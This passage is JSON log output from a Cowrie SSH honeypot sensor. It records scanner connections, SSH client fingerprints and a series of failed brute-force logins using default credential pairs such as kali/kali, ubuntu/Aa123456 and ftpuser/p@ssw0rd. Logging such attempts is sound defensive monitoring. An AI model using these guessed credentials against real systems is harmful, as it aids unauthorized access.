0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:40.894302Z","src_ip":"91.92.42.227","session":"b8bb95995c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:41.239475Z","src_ip":"91.92.42.227","session":"b8bb95995c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:42.410142Z","src_ip":"91.92.42.227","session":"b8bb95995c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46138,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e80f10776af","protocol":"ssh","message":"New connection: 45.156.87.147:46138 (10.17.0.5:22) [session: 7e80f10776af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:44.352931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:44.364758Z","src_ip":"45.156.87.147","session":"7e80f10776af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:44.436436Z","src_ip":"45.156.87.147","session":"7e80f10776af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:44.761689Z","src_ip":"45.156.87.147","session":"7e80f10776af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:45.848574Z","src_ip":"45.156.87.147","session":"7e80f10776af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35346,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebad304dcad4","protocol":"ssh","message":"New connection: 91.92.42.227:35346 (10.17.0.5:22) [session: ebad304dcad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:46.994997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:47.029032Z","src_ip":"91.92.42.227","session":"ebad304dcad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:47.128904Z","src_ip":"91.92.42.227","session":"ebad304dcad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":49566,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb230b3c0a42","protocol":"ssh","message":"New connection: 8.219.200.1:49566 (10.17.0.5:22) [session: eb230b3c0a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:47.283403Z"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:47.445024Z","src_ip":"91.92.42.227","session":"ebad304dcad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:48.588367Z","src_ip":"91.92.42.227","session":"ebad304dcad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56454,"dst_ip":"10.17.0.5","dst_port":22,"session":"795f14f4d41b","protocol":"ssh","message":"New connection: 45.156.87.147:56454 (10.17.0.5:22) [session: 795f14f4d41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:50.507026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:50.568887Z","src_ip":"45.156.87.147","session":"795f14f4d41b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:50.729254Z","src_ip":"45.156.87.147","session":"795f14f4d41b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:51.105324Z","src_ip":"45.156.87.147","session":"795f14f4d41b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:51.746774Z","src_ip":"8.219.200.1","session":"eb230b3c0a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:51.988677Z","src_ip":"8.219.200.1","session":"eb230b3c0a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:52.193187Z","src_ip":"45.156.87.147","session":"795f14f4d41b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35422,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6177b8224e9","protocol":"ssh","message":"New connection: 91.92.42.227:35422 (10.17.0.5:22) [session: f6177b8224e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:53.502723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:53.615144Z","src_ip":"91.92.42.227","session":"f6177b8224e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:53.618076Z","src_ip":"91.92.42.227","session":"f6177b8224e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:54.552911Z","src_ip":"91.92.42.227","session":"f6177b8224e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.06858205795288,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:55.792091Z","src_ip":"172.81.62.90","session":"f78459ce9867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:56.319223Z","src_ip":"91.92.42.227","session":"f6177b8224e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56462,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c693c5c92ac","protocol":"ssh","message":"New connection: 45.156.87.147:56462 (10.17.0.5:22) [session: 2c693c5c92ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:56.513460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:56.521108Z","src_ip":"45.156.87.147","session":"2c693c5c92ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:56.602491Z","src_ip":"45.156.87.147","session":"2c693c5c92ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:56.848434Z","src_ip":"45.156.87.147","session":"2c693c5c92ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:16:57.982878Z","src_ip":"45.156.87.147","session":"2c693c5c92ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:00.261628Z","src_ip":"8.219.200.1","session":"eb230b3c0a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54072,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd820cd6a873","protocol":"ssh","message":"New connection: 91.92.42.227:54072 (10.17.0.5:22) [session: fd820cd6a873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:00.264951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:00.524333Z","src_ip":"91.92.42.227","session":"fd820cd6a873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:00.561430Z","src_ip":"91.92.42.227","session":"fd820cd6a873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"p@ssw0rd","message":"login attempt [ftpuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:01.041653Z","src_ip":"91.92.42.227","session":"fd820cd6a873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:01.508833Z","src_ip":"8.219.200.1","session":"eb230b3c0a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":40948,"dst_ip":"10.17.0.5","dst_port":22,"session":"5509d91bb7a3","protocol":"ssh","message":"New connection: 8.219.200.1:40948 (10.17.0.5:22) [session: 5509d91bb7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:01.816278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.082949Z","src_ip":"8.219.200.1","session":"5509d91bb7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.087906Z","src_ip":"8.219.200.1","session":"5509d91bb7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.125469Z","src_ip":"91.92.42.227","session":"fd820cd6a873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44920,"dst_ip":"10.17.0.5","dst_port":22,"session":"140959a1af7f","protocol":"ssh","message":"New connection: 45.156.87.147:44920 (10.17.0.5:22) [session: 140959a1af7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.418301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.422956Z","src_ip":"45.156.87.147","session":"140959a1af7f","protocol":"ssh"}
